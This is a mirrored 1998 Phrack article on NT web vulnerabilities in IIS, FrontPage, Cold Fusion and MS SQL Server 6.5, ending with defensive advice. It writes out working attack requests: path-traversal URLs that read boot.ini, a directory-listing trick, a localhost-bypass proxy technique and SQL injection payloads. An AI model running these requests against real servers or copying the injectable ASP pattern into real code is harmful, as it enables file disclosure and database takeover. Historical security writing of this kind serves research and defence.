mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
484 lines
19 KiB
Text
484 lines
19 KiB
Text
![]() |
---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 08 of 12
|
||
|
|
||
|
|
||
|
-------------------------[ NT Web Technology Vulnerabilities
|
||
|
|
||
|
|
||
|
--------[ rain.forest.puppy / [WT] <rfpuppy@iname.com>
|
||
|
|
||
|
|
||
|
*Note: most of the vulnerabilities in this document have NOT been made public;
|
||
|
they were discovered by rain.forest.puppy, or other members of WT. Lots
|
||
|
of new toys out there on the Internet lately. Seems like the web is the
|
||
|
way to go, and every software spigot is demanding they be 'web-enabled'. A
|
||
|
lot are reinventing the wheel, bundling sub-standard web servers to serve up
|
||
|
their HTML and Java interface.
|
||
|
|
||
|
But this article isn't about them. There's too many, and they're to easy to
|
||
|
use as vulnerable targets. It's much more fun to find the needle in the
|
||
|
haystack, so I'm going to focus on some more common setups. On to the show.
|
||
|
|
||
|
|
||
|
----[ IIS 4.0
|
||
|
|
||
|
IIS is not too bad as a web server. It still doesn't compare to Apache, but
|
||
|
it has flexible scripting and server-side abilities. But, of course,
|
||
|
everything has its price...
|
||
|
|
||
|
One interesting problem (and probably the only one that may be previously
|
||
|
published at the time of this writing) is that appending an ".idc" extension
|
||
|
to the end of a URL will cause IIS installations to try to run the so-called
|
||
|
.IDC through the database connector .DLL. If the .IDC doesn't exist, than it
|
||
|
returns a rather informative page stating that it can't open
|
||
|
%documentroot%\<bogus name>.idc. For example:
|
||
|
|
||
|
"Cannot open c:\inetpub\wwwroot\index.html.idc"
|
||
|
|
||
|
Wow, absolute paths on the server. Very interesting. What good does this do?
|
||
|
Well, it gives you some insight and hints. If you're trying to exploit CGI or
|
||
|
other server-based programs, knowing what drive you're on when trying to
|
||
|
access outside documents blindly helps a lot. For example, if the IDC query
|
||
|
came back:
|
||
|
|
||
|
f:\webs\1\index.html.idc
|
||
|
|
||
|
then you know you'll probably have to specify 'c:\' to get to any Windows NT
|
||
|
system files; you can't do silly stuff like:
|
||
|
|
||
|
../../../../winnt/system/repair/sam._
|
||
|
|
||
|
since you're doing relative addressing, and staying on drive F. Another
|
||
|
common return is something like"
|
||
|
|
||
|
"Cannot open d:\20x.140.3x.25\index.html.idc"
|
||
|
|
||
|
Where the IP address is the full IP address of the webserver. This usually
|
||
|
indicates that the site is on a system that's probably hosting multiple
|
||
|
websites.
|
||
|
|
||
|
Also, usually the site that's based in \inetpub\wwwroot is the 'default' site,
|
||
|
and may have other things associated with it (like sample files, etc...
|
||
|
We'll get to these later). This is important to remember.
|
||
|
|
||
|
|
||
|
----[ FrontPage Webbots
|
||
|
|
||
|
A really quick recap on how webbots work: Frontpage inserts some HTML comments
|
||
|
that specify the parameters of the webbot. Then, the form is submitted to
|
||
|
/_vti_bin/shtml.dll, and the URL of the page is given. shtml.dll reads through
|
||
|
the given page, and interprets the webbot/HTML comment code.
|
||
|
|
||
|
So, all the parameters that are involved in (most) webbots are embedded in the
|
||
|
HTML page themselves. Let's take an example from a corporate site that makes
|
||
|
a very popular FTP suite (this is HTML code):
|
||
|
|
||
|
<!--webbot BOT="GeneratedScript" endspan -->
|
||
|
<form method="POST" action="../_vti_bin/shtml.dll/downloads/ftp.html"
|
||
|
name="FrontPage_Form1" webbot-action="--WEBBOT-SELF--">
|
||
|
<!--webbot bot="SaveResults"
|
||
|
u-file="d:\us\product_downloads\download_log.csv"
|
||
|
s-format="TEXT/CSV" s-label-fields="FALSE" s-builtin-fields="Date Time"
|
||
|
s-form-fields u-confirmation-url="../_confirmations/ftp.html"
|
||
|
startspan -->
|
||
|
|
||
|
Notice that this site is saving the results to a file (and the fact that it
|
||
|
has "d:\.." says that it is a Windows-based server). But the more important
|
||
|
part to notice is the 'u-confirmation-url' field. This page has a large form
|
||
|
for you to fill in. When you submit it, what you entered is saved in the
|
||
|
'u-file', and then you're redirected to 'u-confirmation-url'. Don't want
|
||
|
to give all your personal information to them? Well, just go to
|
||
|
'u-confirmation-url'. In this case, this was a registration page for download
|
||
|
of the eval. Since I got tired of filling out my information all the
|
||
|
time, I now just go to the confirmation URL and download away, bypassing the
|
||
|
form.
|
||
|
|
||
|
On a related note, if bot="SaveResults", and u-file is in the web structure
|
||
|
(which it happens to be a lot on virtually hosted accounts), you're able to
|
||
|
view the contents of the file. For instance,
|
||
|
|
||
|
<!--webbot bot="SaveResults"
|
||
|
u-file="/_private/download.log"
|
||
|
s-format="TEXT/TEXT" s-form-fields startspan -->
|
||
|
|
||
|
means you can go to htp://site/_private/download.log and view all the info
|
||
|
everyone else entered.
|
||
|
|
||
|
|
||
|
----[ IIS 3.0 to IIS 4.0
|
||
|
|
||
|
There are several changes between IIS 3.0 and IIS 4.0. Sure, MMC is
|
||
|
important and all, but there's something else even better: there are default
|
||
|
associations made between certain file extensions and .DLLs. Let's look at a
|
||
|
particular example...
|
||
|
|
||
|
In IIS 3.0, you'd administer the website by going to http://site/iisadmin/,
|
||
|
which would pop over to using /scripts/iisadmin/ism.dll, and routing the
|
||
|
various .HTR files in that directory through itself. The .HTR files are
|
||
|
relatively useless without ism.dll to process them, and ism.dll has hard-coded
|
||
|
authentication built into it.
|
||
|
|
||
|
Now, upgrade from IIS 3.0 to 4.0. You now administer your site through
|
||
|
http://localhost:5416/. What about all those .HTRs in /scripts/iisadmin?
|
||
|
They're still there, unless you actually deleted them. And the problem?
|
||
|
IIS 4.0 associates all .HTRs with a new and improved ism.dll, which contains
|
||
|
no hard-coded authentication. So now, whenever you request a .HTR file,
|
||
|
IIS will happily process it for you, not caring about authentication. You
|
||
|
can now use the .HTR files in /scripts/iisadmin to your liking. Kinda.
|
||
|
None of them work, due to so many changes. EXCEPT FOR ONE: bdir.htr. bdir.htr
|
||
|
seems to still be happy, and gladly shows you all the directories on any
|
||
|
drive. You can navigate all the server's drives (and network mappings), but
|
||
|
all you get to see is directories (no files). In case you're wondering, you
|
||
|
can tell bdir.htr where to look by doing
|
||
|
|
||
|
/scripts/iisadmin/bdir.htr??<path>
|
||
|
ie:
|
||
|
/scripts/iisadmin/bdir.htr??d:\webs\
|
||
|
|
||
|
I haven't played with the other file extensions, but there's a half-dozen or
|
||
|
so that IIS will now happily process (the normal ones like .ASP, .IDC, .HTR,
|
||
|
and other unfamiliar ones like .HTW, .IDQ, .IDA, .CER, etc).
|
||
|
|
||
|
|
||
|
----[ Sample pages
|
||
|
|
||
|
While it's not a good idea to put included sample pages and applications on a
|
||
|
public server, still many places do. IIS 4.0 includes a rather large and
|
||
|
comprehensive demo site called 'Exploration Air', which employs many IIS 4.0
|
||
|
web technologies. An interesting feature is the 'How It Works' button on the
|
||
|
bottom of every page, which takes you to a script that parses the pages code
|
||
|
into colorful tags. This is a problem.
|
||
|
|
||
|
It uses the Scripting.FileSystemObject to request the page. Luckily, it will
|
||
|
only let you use virtual paths; unfortunately, it allows the use of /../ to
|
||
|
escape to higher directories, including up into the root directory. This
|
||
|
allows it to open any file on the same drive. Using the .IDC bug above to
|
||
|
determine where the file rests, you can determine if you can get to WinNT
|
||
|
system files. You can also view the code of any page application (.ASP,
|
||
|
.CFM, .IDC, etc). For example:
|
||
|
|
||
|
http://site/iissamples/exair/howitworks/codebrws.asp?source=/../../boot.ini
|
||
|
|
||
|
could show the Windows NT boot.ini file. It's used in the ExAir sample site,
|
||
|
as shown above, and also the SDK, if installed, at
|
||
|
http://site/iissamples/sdk/asp/docs/codebrws.asp
|
||
|
|
||
|
|
||
|
----[ Cold Fusion app.server 3.1
|
||
|
|
||
|
Cold Fusion is a rather creative scripting language; it's a nice front end
|
||
|
to ODBC database connections. But I wouldn't be mentioning it here if it
|
||
|
didn't have any problems.
|
||
|
|
||
|
Like IIS 4.0, there's a few alarming things with the sample pages included
|
||
|
with CF. One is the Expression Evaluator at:
|
||
|
|
||
|
http://site/cfdocs/expeval/eval.cfm
|
||
|
|
||
|
They have a security check. It calls check_ip.cfm, which allows access only
|
||
|
from 127.0.0.1 (localhost). Bummer, we can't run raw code on the server.
|
||
|
But, let's check out:
|
||
|
|
||
|
http://site/cfdocs/expeval/exprcalc.cfm
|
||
|
|
||
|
It still doesn't do us any good, because it still uses eval.cfm to process
|
||
|
the expression(s) we enter. But, there's something more interesting: the
|
||
|
expression calculator lets us save and load files of expressions to
|
||
|
evaluate. And it just so happens that exprcalc.cfm is the form used to
|
||
|
LOAD files. And it let's us load any file we want. For instance:
|
||
|
|
||
|
http://site/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\boot.ini
|
||
|
|
||
|
will display the contents of boot.ini in the window. Just like the IIS
|
||
|
codebrws.asp program, we can use it to look at any file we want. However,
|
||
|
exprcalc.cfm lets us specify other drive letters, while codebrws.asp is
|
||
|
limited to only the current drive.
|
||
|
|
||
|
|
||
|
----[ Anonymous Mail
|
||
|
|
||
|
Very simply and quickly,
|
||
|
|
||
|
/cfdocs/expeval/sendmail.cfm?MailFrom=&MailTo=&Subject=&Message=
|
||
|
|
||
|
lets you send email. Not exactly a security breach, but not pleasant either.
|
||
|
You must fill in the variable values.
|
||
|
|
||
|
|
||
|
----[ Proxy Problems
|
||
|
|
||
|
This is an interesting problem brought about not only by CF, but possibly
|
||
|
proxy software in general. CF includes an 'http client' application in
|
||
|
|
||
|
/cfdocs/examples/httpclient/mainframeset.cfm
|
||
|
|
||
|
which lets you type in an URL, and it will show you the HTML code in the
|
||
|
bottom window. Now, let's say, remotely I try to administer the IIS 4.0
|
||
|
server that CF is running on by going to http://site:5416/. I get an error
|
||
|
stating I have to be local (127.0.0.1). Now, I go to the http-client CF
|
||
|
application on that same server. For the URL, I type "http://localhost:5416".
|
||
|
I get the correct page as the result. I have effectively bypassed the
|
||
|
security check. Using GET commands in the CF http-client application, I can
|
||
|
administrate the server.
|
||
|
|
||
|
What's really interesting in theory is that applications like this, and proxys
|
||
|
in general, can be used to abuse trust relationships and 'localhost only'
|
||
|
security. It'd be interesting in hearing what other people find along this
|
||
|
line. One example:
|
||
|
|
||
|
I surf to a company's firewall/web proxy from the 'outside'. I get an error
|
||
|
stating 'Denied/Unauthorized Access'. I then request from their proxy
|
||
|
'GET http://localhost/'; and now I get the 'inside' web page with instructions
|
||
|
on how to use the proxy correctly to get out. Yes, there's obvious setup
|
||
|
problems (allowing outside requests), but that's not the point...
|
||
|
|
||
|
|
||
|
----[ ODBC and MS SQL server 6.5
|
||
|
|
||
|
Ok, topic change again. Since we've hit on web service and database stuff,
|
||
|
let's roll with it. Onto ODBC and MS SQL server 6.5.
|
||
|
|
||
|
I worked with a fellow WT'er on this problem. He did the good thing and told
|
||
|
Microsoft, and their answer was, well, hilarious. According to them,
|
||
|
what you're about to read is not a problem, so don't worry about doing
|
||
|
anything to stop it.
|
||
|
|
||
|
- WHAT'S THE PROBLEM? MS SQL server allows batch commands.
|
||
|
|
||
|
- WHAT'S THAT MEAN? I can do something like:
|
||
|
|
||
|
SELECT * FROM table WHERE x=1 SELECT * FROM table WHERE y=5
|
||
|
|
||
|
Exactly like that, and it'll work. It will return two record sets, with each
|
||
|
set containing the results of the individual SELECT.
|
||
|
|
||
|
- WHAT'S THAT REALLY MEAN? People can possibly piggyback SQL commands into
|
||
|
your statements. Let's say you have:
|
||
|
|
||
|
SELECT * FROM table WHERE x=%%criteria from webpage user%%
|
||
|
|
||
|
Now, what if %%criteria from webpage user%% was equal to:
|
||
|
|
||
|
SELECT * FROM sysobjects
|
||
|
|
||
|
It would translate to:
|
||
|
|
||
|
SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects
|
||
|
|
||
|
which would be valid SQL and execute (both commands). But wait, there's more.
|
||
|
Say you had:
|
||
|
|
||
|
SELECT * FROM table WHERE x=%%criteria%% AND y=5
|
||
|
|
||
|
If we used our above example, we'd get:
|
||
|
|
||
|
SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects AND y=5
|
||
|
|
||
|
which isn't valid SQL, and won't work. Well, there's a comment indicator,
|
||
|
which tells MS SQL server to just ignore the rest of the line. If criteria is
|
||
|
"1 SELECT * FROM sysobjects --", then the '--' causes the rest of the
|
||
|
statement ("AND y=5") to be ignored.
|
||
|
|
||
|
- WHAT FILES OF MINE ARE AFFECTED? Well, ASP and IDC files are problematic.
|
||
|
At least you can fix ASP files, but you're kinda stuck when it comes to
|
||
|
IDCs.
|
||
|
|
||
|
- EXACTLY HOW ARE IDCs AFFECTED? Say we wanted to query a database of
|
||
|
names=phone #s, where the user gives us a name, and we supply all the
|
||
|
matching phone numbers. A Sql call like
|
||
|
|
||
|
SELECT * FROM phonetable WHERE NAME='namewewant'
|
||
|
|
||
|
would work. However, we need to dynamically specify "namewewant" to be
|
||
|
the name the user does want. So, if we write the Sql statement:
|
||
|
|
||
|
SELECT * FROM phonetable WHERE NAME='%name%'
|
||
|
|
||
|
And in our HTML form, we have an input box called 'name'. If this .idc
|
||
|
was called 'phone.idc', we'd call it:
|
||
|
|
||
|
http://site/phone.idc?name=rfp
|
||
|
|
||
|
The server would place "rfp" in place of %name%, and query the SQL server
|
||
|
to select * where name='rfp'.
|
||
|
|
||
|
Now, stick more commands on the line. Executing our phone.idc from above
|
||
|
like so:
|
||
|
|
||
|
phone.idc?name=rfp select * from table2
|
||
|
|
||
|
would lead to an expanded Sql query in the .idc to
|
||
|
|
||
|
SELECT * FROM phonetable WHERE name='rfp select * from table2'
|
||
|
|
||
|
Semi-close, but the single quotes cause all of the stuff to be the
|
||
|
selection criteria. What if we introduced OUR OWN single quote?
|
||
|
|
||
|
phone.idc?name=rfp' select * from table2 --
|
||
|
|
||
|
would be
|
||
|
|
||
|
SELECT * FROM phonetable WHERE name='rfp' select * from table2 --'
|
||
|
|
||
|
We need to add the comment to get rid of the trailing single quote. BUT...
|
||
|
.idc's are smart...they will escape a single quote into two single quotes,
|
||
|
which indicate a data single quote. I.e.
|
||
|
|
||
|
phone.idc?name=rfp' command
|
||
|
|
||
|
will become
|
||
|
|
||
|
SELECT * FROM phonetable WHERE name='rfp'' command'
|
||
|
|
||
|
And since two '' make one data ', the table will be queried for a column
|
||
|
that matches:
|
||
|
|
||
|
"rfp' command"
|
||
|
|
||
|
Now wait, if .idc's protect against this, then why the hell am I wasting
|
||
|
my breath? You see, they're still vulnerable. They suck when they secretly
|
||
|
put an extra single quote into the SQL string. But....when you query numeric
|
||
|
values, you don't use single quotes; single quotes are only for strings. So,
|
||
|
lets's say we want to use our phone number database, but give a phone number,
|
||
|
and look up the associated name. We'll also say that phone numbers are
|
||
|
stored as long ints (numeric values), rather than strings, since we need a
|
||
|
numeric entry for this example.
|
||
|
|
||
|
So, I want to know who has the phone number 5551212. A hardcoded SQL call
|
||
|
would be
|
||
|
|
||
|
SELECT * FROM phonetable WHERE phone=5551212
|
||
|
|
||
|
And the variable version (in an .idc):
|
||
|
|
||
|
SELECT * FROM phonetable WHERE phone=%phonenum%
|
||
|
|
||
|
Whoa! No single quotes to worry about. Now we just do a simple:
|
||
|
|
||
|
phone.idc?phonenum=5551212 select * from table1
|
||
|
|
||
|
And that expands to
|
||
|
|
||
|
SELECT * FROM phonetable WHERE phone=5551212 select * from table1
|
||
|
|
||
|
- ARE THERE ANY .IDCs SOMEONE COULD USE AGAINST ME? Glad you asked. There's
|
||
|
a file included with IIS 3.0 in the /scripts/tools directory, called ctss.idc,
|
||
|
which has a SQL statement like:
|
||
|
|
||
|
CREATE TABLE %table% (...table defs...)
|
||
|
|
||
|
This is simple to exploit. Since you stuck with the inital 'CREATE TABLE',
|
||
|
you must finish that to be a valid command. Giving a table name and a simple
|
||
|
column definition will be sufficient. And then we tack on our command, and
|
||
|
then a '--' to ignore the rest of the table defs. So,
|
||
|
|
||
|
ctss.idc?table=craptable (f int) select * from table1 --
|
||
|
|
||
|
Would give us
|
||
|
|
||
|
CREATE TABLE craptable (f int) select * from table1 -- \
|
||
|
(...table defs...)
|
||
|
|
||
|
(However, with ctss.idc, you need to know the DSN, UID, and PWD beforehand...
|
||
|
so you're somewhat safe)
|
||
|
|
||
|
- EXACTLY HOW ARE ASPs AFFECTED? Typical ADODB code looks something
|
||
|
like:
|
||
|
|
||
|
<% SQLquery="SELECT * FROM phonetable"
|
||
|
Set Conn = Server.CreateObject("ADODB.Connection")
|
||
|
Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"
|
||
|
Set rec = Server.CreateObject("ADODB.RecordSet")
|
||
|
rec.ActiveConnection=Conn
|
||
|
rec.Open SQLquery %>
|
||
|
|
||
|
Which essentially performs a SELECT * FROM phonetable on the websql DSN,
|
||
|
using user=sa, pwd=pwd, on database=master. Then you use fancy formating
|
||
|
of 'rec' to display the output in ASP.
|
||
|
|
||
|
Well, let's take into account user supplied variables now.
|
||
|
|
||
|
<% SQLquery="SELECT * FROM phonetable WHERE name='" & _
|
||
|
request.querystring("name") & "'"
|
||
|
Set Conn = Server.CreateObject("ADODB.Connection")
|
||
|
Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"
|
||
|
Set rec = Server.CreateObject("ADODB.RecordSet")
|
||
|
rec.ActiveConnection=Conn
|
||
|
rec.Open SQLquery %>
|
||
|
|
||
|
So, now our variable "name" is stuck into the SQLquery string, between the
|
||
|
two ' '. Guess what?! ASP doesn't care about single quotes. It won't be
|
||
|
smart like an .IDC and put in the extra ' to make the command ' into a
|
||
|
data '. So, what does the SQLquery string look like when we call it like
|
||
|
phone.idc? Let's say the above is phone.asp:
|
||
|
|
||
|
phone.asp?name=rfp' select * from table1 --
|
||
|
|
||
|
Gives us SQLquery that is:
|
||
|
|
||
|
SELECT * FROM phonetable WHERE name='rfp' select * from table1 --'
|
||
|
|
||
|
Which works. No sweat.
|
||
|
|
||
|
I'm sure some interesting questions come to mind:
|
||
|
|
||
|
- BUT I DON'T KNOW THE DSN NAME, LOGIN NAME, OR PASSWORD! You don't need
|
||
|
them. The developer of the page that contains the SQL will already take care
|
||
|
of that. We're piggy-backing SQL commands onto a command that will work
|
||
|
(otherwise, the page/application wouldn't work normally anyway!). If the
|
||
|
normal page can get to the SQL server through a firewall, VPN, etc, then so
|
||
|
can this command. It can, and will, go wherever the normal pages/SQL can
|
||
|
go.
|
||
|
|
||
|
- BUT I CAN'T VIEW THE SECOND RETURNED RECORDSET! Yes, this is a problem
|
||
|
most of the time. Not too many applications are built assuming multiple
|
||
|
recordset returns, so usually don't cooperate. But, let me just say
|
||
|
there's a stored procedure in SQL that lets you email results of a command
|
||
|
to anywhere....you don't need to see the results in your web browser.
|
||
|
|
||
|
- BUT WHAT GOOD IS RUNNING MORE SQL COMMANDS? My friend, my friend. Think
|
||
|
bigger. Think better. Think stored procedures. I'm not going to include
|
||
|
exploit examples, because that's not what this is about. This is simply to
|
||
|
show that the problem exists.
|
||
|
|
||
|
- BUT WHAT IF THEY HAVE COMPLEX SQL COMMANDS? Yes, this can be tricky, but
|
||
|
it's still possible. Think of it like writing a buffer overflow. ;-) If
|
||
|
we have:
|
||
|
|
||
|
SELECT * FROM table WHERE ((x=%%criteria) AND (y=5))
|
||
|
|
||
|
then we have parentheses to deal with. But still doable. The goal is to
|
||
|
close out any open parentheses opened before the piggybacked SQL statement,
|
||
|
and use -- (comment) to ignore anything after.
|
||
|
|
||
|
- HOW CAN I PROTECT MYSELF? Put quotes around every string taken from the
|
||
|
web user that's used in your SQL statement, and also change any single
|
||
|
quotes (') into double single quotes ('')--this protects everything. In case
|
||
|
of numeric criteria, check to see that the numeric string given back is,
|
||
|
in fact, all numbers. And since you can't do any of the above in IDCs,
|
||
|
switch to ASP. Don't allow access to any of the SQL servers extended
|
||
|
procedures. Best of all, don't use raw SQL in your web applications;
|
||
|
called custom stored procedures on the SQL server, and pass the web
|
||
|
user's dynamic criteria as parameters.
|
||
|
|
||
|
Note: we've only had the time (and resources) to conduct batch SQL
|
||
|
vulnerabilities against MS SQL server 6.5. We'd be interested in hearing
|
||
|
from other people if other DB platforms (Oracle, Informix, etc) are also
|
||
|
vulnerable.
|
||
|
|
||
|
|
||
|
----[ Conclusion
|
||
|
|
||
|
Well, that about wraps it up for now. What are the morals to the above
|
||
|
stories?
|
||
|
|
||
|
- Don't use sample files/applications on public/production servers.
|
||
|
- Don't use 'local-host only' security, especially on proxys.
|
||
|
- Watch what exactly is changed when you upgrade.
|
||
|
- Don't assume user's input is ok for SQL queries.
|
||
|
|
||
|
In short, use your brain. Till next time, have fun.
|
||
|
|
||
|
rain.forest.puppy / [WT] rfpuppy@iname.com
|
||
|
|
||
|
----[ EOF
|